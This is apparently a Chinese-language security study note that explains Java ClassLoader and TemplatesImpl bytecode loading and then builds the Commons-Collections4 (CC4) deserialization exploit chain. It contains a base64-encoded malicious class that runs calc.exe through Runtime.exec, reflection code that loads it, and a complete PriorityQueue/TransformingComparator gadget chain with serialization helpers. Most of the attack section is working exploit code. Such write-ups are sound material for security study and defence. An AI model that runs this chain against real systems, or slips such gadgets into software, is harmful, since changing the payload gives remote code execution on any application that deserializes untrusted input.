顾名思义,ClassLoader的作用是将一个字节码文件转化为内存中的对象,实现过程分为三个方法:loadClass、findClass、defineClass。
loadClass
:从字节码.class
文件加载目标类的入口(字节码文件可以是本地文件资源、远程文件资源),在这个过程中会查找当前ClassLoader是否已经加载过这个类,如果没有加载过就会通过双亲委派机制让parent的ClassLoader尝试加载目标类。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
Class<?> c = findLoadedClass(name);
if (c == null) {
long t0 = System.nanoTime();
try {
if (parent != null) {
c = parent.loadClass(name, false);
} else {
c = findBootstrapClassOrNull(name);
}
} catch (ClassNotFoundException e) {
// ClassNotFoundException thrown if class not found
// from the non-null parent class loader
}
...
}
|
如果还不行就会调用findClass
方法来决定加载目标类的方式,最后获得一段字节流交给defineClass处理。
1
2
3
4
5
6
7
|
if (c == null) {
// If still not found, then invoke findClass in order
// to find the class.
long t1 = System.nanoTime();
c = findClass(name);
...
}
|
defineClass
:将前面获得的字节流转换为一个对象
1
2
3
4
5
6
7
8
9
10
|
protected final Class<?> defineClass(String name, byte[] b, int off, int len,
ProtectionDomain protectionDomain)
throws ClassFormatError
{
protectionDomain = preDefineClass(name, protectionDomain);
String source = defineClassSourceLocation(protectionDomain);
Class<?> c = defineClass1(name, b, off, len, protectionDomain, source);
postDefineClass(c, protectionDomain);
return c;
}
|
从上面可知defineClass是完成字节码到对象转换的关键,因此可以通过直接传入字节流经过defineClass方法创建对象。
先写一个恶意类编译出.class
文件,然后内容base64一下(代码基于P师傅漫谈修改,作用是弹计算器)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
Method defineClass =
ClassLoader.class.getDeclaredMethod("defineClass", String.class,
byte[].class, int.class, int.class);
defineClass.setAccessible(true);
String src = "yv66vgAAADQAIQoACAASCgATABQIABUKABMAFgcAFwoABQA" +
"YBwAZBwAaAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1" +
"iZXJUYWJsZQEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQcAFwE" +
"AClNvdXJjZUZpbGUBAAlDYWxjLmphdmEMAAkACgcAGwwAHAAdAQA" +
"IY2FsYy5leGUMAB4AHwEAE2phdmEvaW8vSU9FeGNlcHRpb24MACA" +
"ACgEABENhbGMBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5" +
"nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J" +
"1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGp" +
"hdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAc" +
"ACAAAAAAAAgABAAkACgABAAsAAAAdAAEAAQAAAAUqtwABsQAAAAE" +
"ADAAAAAYAAQAAAAMACAANAAoAAQALAAAATwACAAEAAAASuAACEgO" +
"2AARXpwAISyq2AAaxAAEAAAAJAAwABQACAAwAAAAWAAUAAAAGAAk" +
"ACQAMAAcADQAIABEACgAOAAAABwACTAcADwQAAQAQAAAAAgAR";
byte[] code = Base64.getDecoder().decode(src);
Class hello = (Class)defineClass.invoke(
ClassLoader.getSystemClassLoader(),
null,
code,
0,
code.length
);
// System.out.println(src);
hello.newInstance();
|
从上面大部分都是piao的代码可以看出直接传入字节码实现RCE是需要反射来调用defineClass方法,而直接通过反序列化的路径是很难直接接触到ClassLoader的defineClass方法的,因为defineClass方法是protected修饰符,但还好有一些底层类覆写了defineClass方法,其中之一就是经典的反序列化利用类——TemplatesImpl类
TemplatesImpl类定义了一个内部ClassLoader类TransletClassLoader
,其中覆写了defineClass方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
static final class TransletClassLoader extends ClassLoader {
private final Map<String,Class> _loadedExternalExtensionFunctions;
TransletClassLoader(ClassLoader parent) {
super(parent);
_loadedExternalExtensionFunctions = null;
}
TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
super(parent);
_loadedExternalExtensionFunctions = mapEF;
}
public Class<?> loadClass(String name) throws ClassNotFoundException {
Class<?> ret = null;
// The _loadedExternalExtensionFunctions will be empty when the
// SecurityManager is not set and the FSP is turned off
if (_loadedExternalExtensionFunctions != null) {
ret = _loadedExternalExtensionFunctions.get(name);
}
if (ret == null) {
ret = super.loadClass(name);
}
return ret;
}
/**
* Access to final protected superclass member from outer class.
*/
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
}
|
可以看到defineClass方法没有声明权限修饰符,那么权限就是default,可以通过同package下的子类访问该方法。那么该如何通过TemplatesImpl加载传入的字节流呢?回溯一下调用链:
1
2
3
4
5
|
TemplatesImpl#getOutputProperties
TemplatesImpl#newTransformer
TemplatesImpl#getTransletInstance /* 类注释有惊喜 */
TemplatesImpl#defineTransletClasses
TemplatesImpl$TransletClassLoader#defineClass
|
相比于其他的方法,defineTransletClasses
方法在该类中有三处调用,但是我们选择了getTransletInstance
方法,因为从getTransletInstance
方法注释中我们可知生成的实例会被包含于Transformer对象中,而另外两个是为了返回字节码信息的。
了解了调用链发现newTransformer和getOutputProperties都是public修饰符,都可以被外部调用从而触发defineClass方法,这里就通过newTransformer方法来调用defineClass
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
public static void main(String[] args) throws Exception {
String src = "yv66vgAAADQAJwoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHACABAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwAcAQAKU291cmNlRmlsZQEACUNhbGMuamF2YQwACQAKBwAhDAAiACMBAAhjYWxjLmV4ZQwAJAAlAQATamF2YS9pby9JT0V4Y2VwdGlvbgwAJgAKAQAEQ2FsYwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABwAIAAAAAAAEAAEACQAKAAEACwAAAB0AAQABAAAABSq3AAGxAAAAAQAMAAAABgABAAAACAABAA0ADgACAAsAAAAZAAAAAwAAAAGxAAAAAQAMAAAABgABAAAAEQAPAAAABAABABAAAQANABEAAgALAAAAGQAAAAQAAAABsQAAAAEADAAAAAYAAQAAABMADwAAAAQAAQAQAAgAEgAKAAEACwAAAE8AAgABAAAAErgAAhIDtgAEV6cACEsqtgAGsQABAAAACQAMAAUAAgAMAAAAFgAFAAAACwAJAA4ADAAMAA0ADQARAA8AEwAAAAcAAkwHABQEAAEAFQAAAAIAFg==";
byte[] code = Base64.getDecoder().decode(src);
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "tyskill"); // 任意字符串
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); // 必须为指定类
obj.newTransformer();
}
public static void setFieldValue(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
|
注意:字节码对应的 class 需要继承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
类,因为在defineTransletClasses方法会进行一次基类判断
1
2
3
4
5
6
7
8
9
10
11
12
13
|
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
// ABSTRACT_TRANSLET指com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet类
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
|
如果判断不通过就会报
错误导致无法成功加载字节码
https://blog.csdn.net/fnmsd/article/details/115015115
JDK版本:1.8u60
commons-collections4:4.0
1
2
3
4
5
6
7
|
<dependencies>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies>
|
cc2还是用的Invoker,cc3使用InstantiateTransformer替换了Invoker,但是环境版本是3.1,cc4总结了两者,所以还是看一下cc4吧
条件:commons-collections4:4.0
1
2
3
4
5
6
7
8
|
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InstantiateTransformer.transform()
TrAXFilter.TrAXFilter()
TemplatesImpl.newTransformer()
...
|
InstantiateTransformer类的transform调用传入对象的无参构造器构造对象,但是TemplatesImpl并没有直接调用newTransformer或getOutputProperties方法的构造方法,那就需要寻找其他的调用路径:TrAXFilter
类
1
2
3
4
5
6
7
8
|
public TrAXFilter(Templates templates) throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}
|
通过该类的无参构造方法可以顺利的实现defineClass方法调用,那么现在就没有问题了,然后就是耳熟能详的寻找transform环节,TransformingComparator类compare方法会调用比较对象的transform方法
1
2
3
4
5
|
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
|
然后到PriorityQueue
类,该链剩下的调用链都是该类下方法间的调用
1
|
readObject() => heapify() => siftDown() => siftDownUsingComparator()
|
writeObject可控queue内容,因此siftDown在size大于1时可以处理queue内容,然后通过siftDownUsingComparator调用compare方法。且由于该类的字段comparator
类型是Comparator<? super E>
,因此可以通过构造方法直接传入TransformingComparator类
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
|
public static void main(String[] args) throws Exception {
String src = "yv66vgAAADQAJwoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHACABAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwAcAQAKU291cmNlRmlsZQEACUNhbGMuamF2YQwACQAKBwAhDAAiACMBAAhjYWxjLmV4ZQwAJAAlAQATamF2YS9pby9JT0V4Y2VwdGlvbgwAJgAKAQAEQ2FsYwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABwAIAAAAAAAEAAEACQAKAAEACwAAAB0AAQABAAAABSq3AAGxAAAAAQAMAAAABgABAAAACAABAA0ADgACAAsAAAAZAAAAAwAAAAGxAAAAAQAMAAAABgABAAAAEQAPAAAABAABABAAAQANABEAAgALAAAAGQAAAAQAAAABsQAAAAEADAAAAAYAAQAAABMADwAAAAQAAQAQAAgAEgAKAAEACwAAAE8AAgABAAAAErgAAhIDtgAEV6cACEsqtgAGsQABAAAACQAMAAUAAgAMAAAAFgAFAAAACwAJAA4ADAAMAA0ADQARAA8AEwAAAAcAAkwHABQEAAEAFQAAAAIAFg==";
byte[] code = Base64.getDecoder().decode(src);
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "tyskill");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
ChainedTransformer chain = new ChainedTransformer(
new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { obj }
)
}
);
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
queue.add(1);
queue.add(1);
try {
// serialize(queue, "E:/tmp/cc4");
deserialize("E:/tmp/cc4");
} catch (Exception e) {
e.printStackTrace();
}
}
public static void setFieldValue(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void serialize(Object obj, String path) throws IOException {
FileOutputStream fos = new FileOutputStream(path);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
oos.close();
}
public static void deserialize(String path) throws IOException, ClassNotFoundException {
FileInputStream fis = new FileInputStream(path);
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
ois.close();
}
|
https://zhuanlan.zhihu.com/p/51374915
《Java安全漫谈》——P神